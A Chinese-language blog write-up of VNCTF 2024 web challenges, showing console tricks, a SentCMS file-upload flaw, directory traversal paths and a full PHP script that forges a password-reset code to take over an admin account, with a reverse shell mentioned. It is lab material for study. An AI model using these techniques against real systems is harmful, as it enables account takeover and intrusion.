获取中...

-

Just a minute...

Checkin

打转块小游戏奥,直接F12找game.js,里面有这么几行
图片.png
很明显把中间两行放在控制台打出来就好了,
图片.png

VNCTF{W31c0m3_t0_VNCTF_2024_g@od_J0B!!!!}

TrySent

thinkphp Sentcms去网上找相关漏洞,找到这么一篇文章:
https://blog.hanayuzu.top/articles/37dacab4
是无需登录的任意文件上传漏洞,在/admin/upload/upload页面抓包后,修改包为文章的内容,然后上传,进入
图片.png

这里面,就发现该页面变成phpinfo了,
图片.png

vnctf{6f2f29dd-934f-4490-9054-6a6f11892a86}

CutePath

这道题是目录穿越,在url里加上/#/../即可到上一目录,
图片.png
第二个文件明显是base64加密,拿去解密后,得到管理员密码,admin:gdgm.edu.cn@M1n9K1n9P@as
登录后继续穿越,/#/../../..//flag/flag在这个文件夹下找到flag.txt,但是我们没法下载,也打不开他,我们需要把他移动到网站根目录才能看见,
这里修改flag.txt名字为
../../../home/ming/share_main/flag.txt
这样就可以在网站根目录下找到flag.txt,然后下载下来拿到flag。
VNCTF{564e406840636b3156315f6764676d}

codefever_again

这道题是需要在网上找源码的,我是运气好做出来的。
https://or4ngesec.github.io/post/xhlj-writeup-by-or4nge/#real-world-git
忘记密码的逻辑中,生成的验证码只跟邮箱和时间戳有关系,没有引入随机数,本地跑一下就能跑出来,然后利用这个验证码重置root@codefever.cn的密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
// this function use to generated uuid
namespace service\Utility;

define('TOTP_SALT', 'codefever-salt');

class TOTP {

const SALT = 'codefever_salt';
const TOTP_REFRESH_INTERVAL = 30;
const TOTP_CHECK_WINDOW_MIN = -10;
const TOTP_CHECK_WINDOW_MAX = 10;
const PASSWORD_LENGTH = 6;

static private function hashInput (string $input) {
$salt = self::SALT;
if (TOTP_SALT) {
$salt = TOTP_SALT;
}

$input = $input ? $input : self::SALT;

return hash('sha256', md5($input) . md5($salt), FALSE);
}

static private function genTotp (string $hashedInput, int $timestamp) {
$sequence = floor($timestamp / 30);
$code = hash_hmac('sha256', $hashedInput . md5($sequence), md5($sequence), TRUE);

$finalValue = 0;
$index = 0;

do {
$finalValue += ord($code[$index]);
$finalValue = $finalValue << 2;
$index++;
} while (isset($code[$index]));

return $finalValue;
}

static private function trimTotp (int $sourceTotp) {
$trimedTotp = $sourceTotp % pow(10, self::PASSWORD_LENGTH);
$format = "%'.0". self::PASSWORD_LENGTH ."u";
return sprintf($format, abs($trimedTotp));
}


static function generate(string $input) {
return self::trimTotp(self::genTotp(self::hashInput($input), time()));
}

static function check(string $input, string $code) {
$hashedInput = self::hashInput($input);
$currentTime = time();
for (
$windowIndex = self::TOTP_CHECK_WINDOW_MIN;
$windowIndex <= self::TOTP_CHECK_WINDOW_MAX;
$windowIndex++
) {
if (
$code === self::trimTotp(
self::genTotp(
$hashedInput,
$currentTime + ($windowIndex * self::TOTP_REFRESH_INTERVAL)
)
)
) {
return TRUE;
}
}

return FALSE;
}
}
$email = 'root@codefever.cn';
echo TOTP::generate($email);

重置密码后,就可以以管理员的身份登录进去,
root@codefever.cn这是管理员账户。登录进去后
图片.png

图片.png
图片.png
把生成的密码记下来。然后登录
图片.png
图片.png
修改邮箱来反弹shell,保存后服务器开启监听,然后进入主界面,拿到flag
VNCTF{C0de_F3eve!_i3nt_so_H4rd!ri9ht?}

剩下的题做不来了,还是挺难的QWQ
图片.png

相关文章
评论
分享
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp
  • 第九届中国海洋大学信息安全竞赛web题解

    ezPHPparse_str()可以进行变量覆盖。 全部流量包: 菜狗工具#1python继承链攻击。 1print(().__class__.__base__.__subclasses__()[132].__init__.__gl...

    第九届中国海洋大学信息安全竞赛web题解
  • DASCTF2024校赛

    cool_indexserver.js: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525...

    DASCTF2024校赛
  • XYCTF2024

    ezhttp打开是登录页面,先看源码,源码提示: 1<!-- 为了防止忘记密码,我把它们放在某个地方了 --> 第一反应是robots.txt,进去看看。 得到/l0g1n.txt,进入得到帐号密码: 12u...

    XYCTF2024